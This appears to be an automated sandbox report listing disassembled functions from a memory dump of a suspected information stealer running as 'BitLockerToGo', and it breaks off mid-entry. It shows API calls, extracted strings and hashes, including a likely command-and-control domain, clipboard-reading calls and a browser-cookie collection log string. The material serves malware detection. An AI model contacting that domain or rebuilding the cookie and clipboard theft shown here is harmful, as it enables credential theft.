libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE ref: 0023A427

Strings

A, xrefs: 0023A395
q, xrefs: 0023A345
M, xrefs: 0023AA98
i, xrefs: 0023A978
q, xrefs: 0023A9B8
+, xrefs: 0023AD65
8, xrefs: 0023A870
A, xrefs: 0023AA38
G, xrefs: 0023AA48
B, xrefs: 0023AD3D
m, xrefs: 0023A998
g, xrefs: 0023A948
C, xrefs: 0023A38B
c, xrefs: 0023A928
m, xrefs: 0023A331
3, xrefs: 0023A830
6, xrefs: 0023ABB3
', xrefs: 0023A8E0
y, xrefs: 0023A36D
5, xrefs: 0023A850
5, xrefs: 0023A8C0
citizencenturygoodwk.shop, xrefs: 0023A6C5, 0023AFDE
}, xrefs: 0023A381
C, xrefs: 0023AA28
k, xrefs: 0023A968
e, xrefs: 0023A958
3, xrefs: 0023A8A0
A, xrefs: 0023A7C0
u, xrefs: 0023A9D8
:, xrefs: 0023A890
B, xrefs: 0023AC6B
I, xrefs: 0023AA78
(, xrefs: 0023A910
{, xrefs: 0023A9E8
', xrefs: 0023A8D0
p, xrefs: 0023AD45
?, xrefs: 0023A860
k, xrefs: 0023A8F0
S, xrefs: 0023AAA8
-, xrefs: 0023A920
y, xrefs: 0023A9F8
O, xrefs: 0023AA88
w, xrefs: 0023A34F
s, xrefs: 0023A33B
F, xrefs: 0023A39A
L, xrefs: 0023AAA0
K, xrefs: 0023AA68
u, xrefs: 0023A359
`, xrefs: 0023A8B0
a, xrefs: 0023A938
3, xrefs: 0023A840
}, xrefs: 0023AA18
R, xrefs: 0023A7A0
", xrefs: 0023AC5B
s, xrefs: 0023A9A8
<, xrefs: 0023AB5B
{, xrefs: 0023A363
(, xrefs: 0023A900
E, xrefs: 0023AA58
w, xrefs: 0023A9C8
G, xrefs: 0023A39F
3, xrefs: 0023AD55
o, xrefs: 0023A988
C, xrefs: 0023A7B0
Z, xrefs: 0023AD6D
!, xrefs: 0023AD5D
', xrefs: 0023A880

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID: LibraryLoad
String ID: !$"$'$'$'$($($+$-$3$3$3$3$5$5$6$8$:$<$?$A$A$A$B$B$C$C$C$E$F$G$G$I$K$L$M$O$R$S$Z$`$a$c$citizencenturygoodwk.shop$e$g$i$k$k$m$m$o$p$q$q$s$s$u$u$w$w$y$y${${$}$}
API String ID: 1029625771-3154137496
Opcode ID: 490b7e71eda077f76078e9786c51cf1846d9015ff303bba7483922951dd7bba2
Instruction ID: 522ef9650e23957391ec5def440f5cedc8b4928b425ca010f36bb0a98224d6d4
Opcode Fuzzy Hash: 490b7e71eda077f76078e9786c51cf1846d9015ff303bba7483922951dd7bba2
Instruction Fuzzy Hash: A2822AB011C7C1CED331CB28888879BBFE1AB96314F144A6DE0E98B392D7B58555DB63

Function 00258A53 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?), ref: 00258B40

Strings

#v, xrefs: 00258B40

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID: FreeLibrary
String ID: #v
API String ID: 3664257935-554117064
Opcode ID: 0c5a253c5be72396f6ffe038e987eaa6476e22734d6e934a754e1dd02dce449c
Instruction ID: 772066457c44ad8af1d230426251f640f738c82b6a5d211149d7ae85e0700aed
Opcode Fuzzy Hash: 0c5a253c5be72396f6ffe038e987eaa6476e22734d6e934a754e1dd02dce449c
Instruction Fuzzy Hash: C8319C74110742CFDB25CF29C490B22FBF1AF16305F18898DD8D69B796CBB5A859CB21

Function 002391F0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 00239259

Strings

system or character via spellings glyphs a is uses that in their modified other on often reflection or resemblance on it leetspeak, used similarity internet. play eleet the of the replacements of primarily ways, xrefs: 00239222

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID: ExitProcess
String ID: system or character via spellings glyphs a is uses that in their modified other on often reflection or resemblance on it leetspeak, used similarity internet. play eleet the of the replacements of primarily ways
API String ID: 621844428-780655312
Opcode ID: d3d1fd7f57641e523e14f1145ecc7d6e8faa98e4eb7e413a7a8267f5ff811ded
Instruction ID: e9c39ec8c38067c2f27cd5b5bf2a29b7e9e0bc9fcbe5635134cc49f83be69832
Opcode Fuzzy Hash: d3d1fd7f57641e523e14f1145ecc7d6e8faa98e4eb7e413a7a8267f5ff811ded
Instruction Fuzzy Hash: 6EF0E5F0D38E04A6CA507BB9A7072AF37A85F13304F504522ED8151102EBF188F56EA3

Function 0025AB20 Relevance: 1.6, APIs: 1, Instructions: 100memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 0025AC11

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: 9f5c6f7d9bbf59e1d152cb43af99d4aa355fe435d8d7da797c2d16536c2ec58b
Instruction ID: 9c0c54d73b657763503d38e0232e8c7211650754b796d894c7cb4008a7dd1fb6
Opcode Fuzzy Hash: 9f5c6f7d9bbf59e1d152cb43af99d4aa355fe435d8d7da797c2d16536c2ec58b
Instruction Fuzzy Hash: 91411870208B829FD325CF3DC894746FBA16B5A224F048B5CE0F98BBE1D734A555CB92

Function 00267502 Relevance: 1.6, APIs: 1, Instructions: 72libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(?,00000000,00000800), ref: 00267568

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 5611aba2e3efb2b86284b31005bf5c07c4859124d0789c9155530fe034e10275
Instruction ID: 60e396cf266ad0a4f535f22470b7928b5915ae9a48ab1d330dc62233c67432a7
Opcode Fuzzy Hash: 5611aba2e3efb2b86284b31005bf5c07c4859124d0789c9155530fe034e10275
Instruction Fuzzy Hash: CA217C30715B008BD724CF28C9D1B52B7E2FB45704B14896ED8AB87B92DB64F8468B04

Function 00266FA4 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNELBASE ref: 00266FA4

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID: DrivesLogical
String ID:
API String ID: 999431828-0
Opcode ID: 1b73541f5bcff43ebe26c7557c971eedb3bfbd08542f464fdd940f7d0dcb51aa
Instruction ID: 19ac0a8b2ae86bf04e045aacfca676a4f9425671ef34c544b2dceed50b1b1553
Opcode Fuzzy Hash: 1b73541f5bcff43ebe26c7557c971eedb3bfbd08542f464fdd940f7d0dcb51aa
Instruction Fuzzy Hash: DFE032B97007008BD320DF28EC86912B7E5FB59318744282CE88ACB752D670E855CF20

Function 00262BA6 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 00262BC6

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID: DefaultLanguageUser
String ID:
API String ID: 95929093-0
Opcode ID: 8a454d74741738155cb0d19fa001e1202456f4d5fb223d28f236dd25129abc6a
Instruction ID: a23a4351c2c757416f62161aa654582aa7199b99effe4e44ab69843a8413eceb
Opcode Fuzzy Hash: 8a454d74741738155cb0d19fa001e1202456f4d5fb223d28f236dd25129abc6a
Instruction Fuzzy Hash: E6E0D8BA124600CFC310EF78D94424A7BE2BBC8304F55852CD98847345D730B585CF81

Function 002677D6 Relevance: 1.5, APIs: 1, Instructions: 16memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000), ref: 002677EA

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: e6212235c42533e534e3f55510c78357616fbb52f896657a4a58cd93f7427da8
Instruction ID: e2f345403edde2fd88b1dee3d32429dfb8856c1b7bc8c8f46051b4d228cc93ae
Opcode Fuzzy Hash: e6212235c42533e534e3f55510c78357616fbb52f896657a4a58cd93f7427da8
Instruction Fuzzy Hash: 47D05E34253050EBEB684F01ECCDF033E3AEF86722F100158B50A052E5C2719852DB94

Non-executed Functions

Function 0025E4A0 Relevance: 29.9, APIs: 6, Strings: 11, Instructions: 159clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 0025E4F0
GetWindowLongW.USER32 ref: 0025E519
GetClipboardData.USER32 ref: 0025E52B
CloseClipboard.USER32 ref: 0025E65B

Strings

K, xrefs: 0025E5C4
N, xrefs: 0025E5C0
v, xrefs: 0025E5A8
I, xrefs: 0025E5B4
L, xrefs: 0025E5C8
z, xrefs: 0025E5AC
s, xrefs: 0025E5A0
y, xrefs: 0025E59C
g, xrefs: 0025E5B0
x, xrefs: 0025E5B8
{, xrefs: 0025E5A4

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID: Clipboard$CloseDataLongOpenWindow
String ID: I$K$L$N$g$s$v$x$y$z${
API String ID: 1647500905-1390982499
Opcode ID: 5b2671d52fa55024691a7d91a08831ad2d0a9c7ed8278fe4180729310642b7da
Instruction ID: 08abe1bd9b4de8853e4e6d2e16e19482ea091a2a4be0fef779be49f09a20d314
Opcode Fuzzy Hash: 5b2671d52fa55024691a7d91a08831ad2d0a9c7ed8278fe4180729310642b7da
Instruction Fuzzy Hash: 6761AFB0518740CFCB21DF28D484706BFF0AF16314F158A98E8CA8B755E374E919CBA2

Function 00253142 Relevance: 14.5, Strings: 11, Instructions: 776COMMON

Download Yara Rule

Strings

<=, xrefs: 002531EE
r:%, xrefs: 00253A5E
-3%, xrefs: 00253327, 00253773, 002537AF
SN^D, xrefs: 00253552
B^SH, xrefs: 0025356A
X6%, xrefs: 00253652
", xrefs: 00253CA2
sTN_, xrefs: 002535C8
", xrefs: 00253BE8
r4%, xrefs: 00253465
R6%, xrefs: 00253631

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: "$"$-3%$<=$B^SH$R6%$SN^D$X6%$r4%$r:%$sTN_
API String ID: 0-2800417422
Opcode ID: 5628e7a806676944be39838006a2b713dc32e3cf4ee9c4e229b782865398c104
Instruction ID: 66f33e557e599cf38e22f8c38a517c1f92cfca69d434e919e2428c2cf163a2fe
Opcode Fuzzy Hash: 5628e7a806676944be39838006a2b713dc32e3cf4ee9c4e229b782865398c104
Instruction Fuzzy Hash: E7420F71A18381DFD714CF28D89071ABBE2AFC9355F048A2DE8998B391C730DE55CB46

Function 00231E20 Relevance: 10.6, Strings: 8, Instructions: 594COMMON

Download Yara Rule

Strings

., xrefs: 00231EC9
true, xrefs: 00231F99
[, xrefs: 00232088
null, xrefs: 002320CE
false, xrefs: 00231FB1
{, xrefs: 00232185
0, xrefs: 00231EC3
., xrefs: 00231EEE

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: .$.$0$[$false$null$true${
API String ID: 0-1639024219
Opcode ID: b9079f0b16895c5d9822c3946244a804a24db2dfac1b01e9219df41e17997089
Instruction ID: 5f941d33147e9a041018da65b965c7af8bf65f3da29059c9c864ec03ef622959
Opcode Fuzzy Hash: b9079f0b16895c5d9822c3946244a804a24db2dfac1b01e9219df41e17997089
Instruction Fuzzy Hash: 040215F4624306DBD7105F25EC45726BBE4AF50308F198538F9898B253EB75D938CB92

Function 00254E6B Relevance: 9.2, Strings: 7, Instructions: 405COMMON

Download Yara Rule

Strings

?2)$, xrefs: 00254EC6
.(.#, xrefs: 00255131
119,, xrefs: 00255139
f8 <, xrefs: 00255129
7C%, xrefs: 00255395
60&+, xrefs: 00255121
5 f, xrefs: 00255141

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: .(.#$119,$5 f$60&+$7C%$?2)$$f8 <
API String ID: 0-1608121542
Opcode ID: 4912b52f9251e12f83892cc01b378c24c790a5cda85dcb8ef813d24937b8a47e
Instruction ID: 0ed84e316e59a30713c350075ca57e21e88f6eeb904909b0b59d12304f97cf03
Opcode Fuzzy Hash: 4912b52f9251e12f83892cc01b378c24c790a5cda85dcb8ef813d24937b8a47e
Instruction Fuzzy Hash: 81E1A0B19183418FC318DF28C49176EFBE2ABD5304F148A2DE4D987392DB34E959CB86

Function 002397D0 Relevance: 9.1, Strings: 7, Instructions: 325COMMON

Download Yara Rule

Strings

bJMs, xrefs: 00239818
Jz`T, xrefs: 00239802
+(/(, xrefs: 00239948
uJr{, xrefs: 00239823
!#, xrefs: 00239B50
qv"<, xrefs: 002399F8
$#/`, xrefs: 00239950

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: !#$$#/`$+(/($Jz`T$bJMs$qv"<$uJr{
API String ID: 0-2180438874
Opcode ID: c53e36e70595c7d0e5fb1d0fab81e3dfdd3b06ab5c1a29d87aaf79f55a446548
Instruction ID: af08714d726a81cc75ab1e3e32b7430aacfa589829a900a4c662b7c815df71a1
Opcode Fuzzy Hash: c53e36e70595c7d0e5fb1d0fab81e3dfdd3b06ab5c1a29d87aaf79f55a446548
Instruction Fuzzy Hash: 13C176B05183818FD325CF19C4907ABFBE1BF8A304F188A5DE4D99B352C7749996CB92

Function 00252C9D Relevance: 7.8, Strings: 6, Instructions: 333COMMON

Download Yara Rule

Strings

b}, xrefs: 00252CFA
\eg, xrefs: 00252CE6
L0%, xrefs: 00253046
/1%, xrefs: 00252E8F, 00253129, 0025375F
r4%, xrefs: 00253465
(0%, xrefs: 00253022

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: (0%$/1%$L0%$\eg$b}$r4%
API String ID: 0-2575072577
Opcode ID: 8ff0ce2fdd40607b50829fe7d02bdee1b9694cae75a59221773a3d3773607f10
Instruction ID: 3fb1c278ec5c7a3df5318b9ff92ce3635d8df63c3719cbc40ca6ff816c62d1ee
Opcode Fuzzy Hash: 8ff0ce2fdd40607b50829fe7d02bdee1b9694cae75a59221773a3d3773607f10
Instruction Fuzzy Hash: 0AC184B1618341DFD324CF14D890B6BBBF2FB8A315F01892DE9898B291D771D959CB82

Function 0024DBEE Relevance: 5.5, Strings: 4, Instructions: 476COMMON

Download Yara Rule

Strings

r$, xrefs: 0024E867
[info] collected cookies file of the chromium-based browser[info] collected cookies file of the chromium-based browser, xrefs: 0024DDDD
@u, xrefs: 0024DD47
"$, xrefs: 0024E116

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: "$$@u$[info] collected cookies file of the chromium-based browser[info] collected cookies file of the chromium-based browser$r$
API String ID: 0-4224994035
Opcode ID: f7f879b7c95bc336678cd115ed19da1791bda40630b9a6ddbe4b0e661de92c6e
Instruction ID: 66c7158110720a67a9b0517313a49374910d45957682889baa1c0be302b71b68
Opcode Fuzzy Hash: f7f879b7c95bc336678cd115ed19da1791bda40630b9a6ddbe4b0e661de92c6e
Instruction Fuzzy Hash: 76F1E072618351CFD318CF28D89072AB7E2FF99304F19892CE4998B391D735D856CB82

Function 0024FFB0 Relevance: 4.2, Strings: 3, Instructions: 420COMMON

Download Yara Rule

Strings

^B, xrefs: 002500F7
WU, xrefs: 002500E9
_U, xrefs: 002500F0

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: WU$^B$_U
API String ID: 0-591993885
Opcode ID: f5cce98d37f9300e7232675f16e458f61ec7f157a326afb0bb40fa3bebe4f372
Instruction ID: 7330b716a9e14c8b909c787286d2290bc67e0d7df8109b3a719c76421c98b2cb
Opcode Fuzzy Hash: f5cce98d37f9300e7232675f16e458f61ec7f157a326afb0bb40fa3bebe4f372
Instruction Fuzzy Hash: 94E17D75620B02CFC324CF28C8D0A66B3F2FF49705B5989ADD8868B761D735E859CB54

Function 00239510 Relevance: 4.0, Strings: 3, Instructions: 243COMMON

Download Yara Rule

Strings

|, xrefs: 00239699
yc, xrefs: 00239522
x, xrefs: 00239529

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: x$yc$|
API String ID: 0-2517623061
Opcode ID: 1634e6f8be28813485449604081cfeed78bd88990914e336d6a42798db564ad5
Instruction ID: 3f8565a13c153aca888d7caacbb08d66ca44aec4e4984e40c1dadd889378765f
Opcode Fuzzy Hash: 1634e6f8be28813485449604081cfeed78bd88990914e336d6a42798db564ad5
Instruction Fuzzy Hash: 7771BCB195D3928BD311CF29C55074AFFE2AFD6750F188A8CE4D42B295C37A9849CB82

Function 0024ABB0 Relevance: 4.0, Strings: 3, Instructions: 203COMMON

Download Yara Rule

Strings

LM, xrefs: 0024AC03
Th, xrefs: 0024ADB3
Ub, xrefs: 0024ADA3

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: LM$Th$Ub
API String ID: 0-1443290983
Opcode ID: 1e6ba5f1f27b63463106d93cea135fb217e2320985e0f007c3307df0bf4931a5
Instruction ID: 82cf9f45f9e0f6ac7ba1fb15939eef0201ea48ce20403f6703ac73285d822bce
Opcode Fuzzy Hash: 1e6ba5f1f27b63463106d93cea135fb217e2320985e0f007c3307df0bf4931a5
Instruction Fuzzy Hash: AC6120B05183429BC314CF28D49065BBBF1FF89358F008A1DF8E99B2A1E374D955CB86

Function 00258087 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 339COMMON

Download Yara Rule

Strings

#v, xrefs: 00258416

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: #v
API String ID: 0-554117064
Opcode ID: 5f423d43b39f0339839e8aa4b71fbb7a5d232a437f3349af81528ee1282aa21a
Instruction ID: 04c62c158ac0bf780f5282c96b37b03bb714dd96254f42473673c391ba7521de
Opcode Fuzzy Hash: 5f423d43b39f0339839e8aa4b71fbb7a5d232a437f3349af81528ee1282aa21a
Instruction Fuzzy Hash: 38C148712107818BD328CF28C890776BBE2BF56315F18865CD8A79F7C1DB75A859CB48

Function 00255BD0 Relevance: 3.0, Strings: 2, Instructions: 535COMMON

Download Yara Rule

Strings

", xrefs: 002560DF
", xrefs: 0025609E

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: "$"
API String ID: 0-3758156766
Opcode ID: cda4f5acd26b871cbcca2202356b46d30e563c0f34db992341330c9d98c9f970
Instruction ID: 465a939ed3d7d32a429a604b766508d20c3200220c3df5645c57f01f0d750f83
Opcode Fuzzy Hash: cda4f5acd26b871cbcca2202356b46d30e563c0f34db992341330c9d98c9f970
Instruction Fuzzy Hash: C80213716287129FC714CE28C4A476FB7E5AB84311F58892DFC9A8B381D774DD1C8B8A

Function 00233850 Relevance: 1.9, Strings: 1, Instructions: 673COMMON

Download Yara Rule

Strings

_#, xrefs: 00233852

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: _#
API String ID: 0-2071307381
Opcode ID: 5576d93de2284f43aa1d731a0ecdc1f23c15680e3d11c9a175b688618ee6cebb
Instruction ID: abeb114c01f4bc8392134c103d42ee1a18b235e2263fd4280aa94cf96923ed53
Opcode Fuzzy Hash: 5576d93de2284f43aa1d731a0ecdc1f23c15680e3d11c9a175b688618ee6cebb
Instruction Fuzzy Hash: 4E52ABB16187428FC725CF25C080667FBE2BF88314F188A6EE4DA87651D778FA56CB41

Function 0025AD4D Relevance: 1.7, APIs: 1, Instructions: 225COMMON

Download Yara Rule

APIs

SysStringLen.OLEAUT32 ref: 0025AD60

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID: String
String ID:
API String ID: 2568140703-0
Opcode ID: d9637dee86136349e50bec95eecfcfc9cba95c94a0ff4ee3551c9d291091e922
Instruction ID: 0718773e7586ac32a7199987cfaf7e76989689e9245b9bdd4e5f311b8d0a2826
Opcode Fuzzy Hash: d9637dee86136349e50bec95eecfcfc9cba95c94a0ff4ee3551c9d291091e922
Instruction Fuzzy Hash: 4D91B1B16052428FC304EF3CD492796BBE1FFA9305F15492CE48A8B395E731A864CB46

Function 00236A40 Relevance: 1.5, Strings: 1, Instructions: 262COMMON

Download Yara Rule

Strings

,, xrefs: 00236B93

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: ,
API String ID: 0-3772416878
Opcode ID: 3e48fb93da189c62b0e05bf7dbf58001b919ecc4b59bd6c036f71f8d2a52db2b
Instruction ID: 561164f4251015191a15f0278cebb30272d1e8c8728701b82b5f296edb5b0f1e
Opcode Fuzzy Hash: 3e48fb93da189c62b0e05bf7dbf58001b919ecc4b59bd6c036f71f8d2a52db2b
Instruction Fuzzy Hash: AEB13B71209386AFD315CF68C84465BFBE4AFA9304F448A5DF49897382D371DA28CB96

Function 00233350 Relevance: 1.4, Strings: 1, Instructions: 160COMMON

Download Yara Rule

Strings

_#, xrefs: 00233352

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: _#
API String ID: 0-2071307381
Opcode ID: d0804c45f23e18b3a38dd5b1ba2fc293b18eaab1db2388ba06dba68e56258075
Instruction ID: a595cca8c7bc2bdeb24abb9ad1e52e26d405010e8dd9664e5bb78cc431a19ee5
Opcode Fuzzy Hash: d0804c45f23e18b3a38dd5b1ba2fc293b18eaab1db2388ba06dba68e56258075
Instruction Fuzzy Hash: 3541E432B182624BCB14CE3DCC5027ABAD39FC5245F1EC679E8C9DB386E578DA105790

Function 002400F1 Relevance: 1.4, Strings: 1, Instructions: 152COMMON

Download Yara Rule

Strings

D, xrefs: 00240366

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: D
API String ID: 0-2746444292
Opcode ID: 9d3bef12303775df3518319dda976acff0ea8c95714b4407b5f5ba98082eee63
Instruction ID: ab1a70f56a2e1bfa07745c57c187098ddaa135589b8505db59c5494c4eaf8bb6
Opcode Fuzzy Hash: 9d3bef12303775df3518319dda976acff0ea8c95714b4407b5f5ba98082eee63
Instruction Fuzzy Hash: BB6112B01183819FE324DF01D8A57ABBBF0FB86748F10590CE5C91B291D7B59845CF86

Function 00267442 Relevance: 1.3, Strings: 1, Instructions: 13COMMON

Download Yara Rule

Strings

6t(, xrefs: 00267442

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 6t(
API String ID: 0-2705413176
Opcode ID: 99cfc5d43baf08b33595eea13df153f84881922beadd4ca94d9dbb26b73c0388
Instruction ID: 2d3a1dcf7dd5e4aebd8aea3abb4a6043615d381a4092ff6037e167c668fd42a4
Opcode Fuzzy Hash: 99cfc5d43baf08b33595eea13df153f84881922beadd4ca94d9dbb26b73c0388
Instruction Fuzzy Hash: 33C012387846008B8308CE14E890872B3B6EB8E2007903228844ED3750C620E8818A25

Function 0025302C Relevance: 1.3, Strings: 1, Instructions: 10COMMON

Download Yara Rule

Strings

F0%, xrefs: 00253040

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: F0%
API String ID: 0-521456340
Opcode ID: 6bf818793fe7ea43f53efbba46ee7723104e850771b06cd9c4fe9d0b54174a70
Instruction ID: e663095ffd25bd98e5f607c14556ec2312047ed8442629279f906ada6d44062b
Opcode Fuzzy Hash: 6bf818793fe7ea43f53efbba46ee7723104e850771b06cd9c4fe9d0b54174a70
Instruction Fuzzy Hash: D7B092A0D159218285016A2028220BDA0295A0B25AF442020E40A62002AA28E22A498F

Function 00238130 Relevance: .8, Instructions: 819COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13b0dbc37ce5dd985f5196187134fc832c5ca2fd16ff455f0f4b77a56554114a
Instruction ID: 8e5056dbc79181b297d671aa51aaf0851e5e45d91c12de921f635b1b8886eee1
Opcode Fuzzy Hash: 13b0dbc37ce5dd985f5196187134fc832c5ca2fd16ff455f0f4b77a56554114a
Instruction Fuzzy Hash: 845205B16287128BC725DF1CD8802BAB3E1FFD4314F15492DE9C69B385DB35A865CB82

Function 00231072 Relevance: .8, Instructions: 752COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6701004c874a998607f8c90a1ee46f1f533f7853715775656e75c825a51a4ac
Instruction ID: ae43f66217bc4b6b59366318c95a48fbf08e315fc2417ad8265e3e7235dc608f
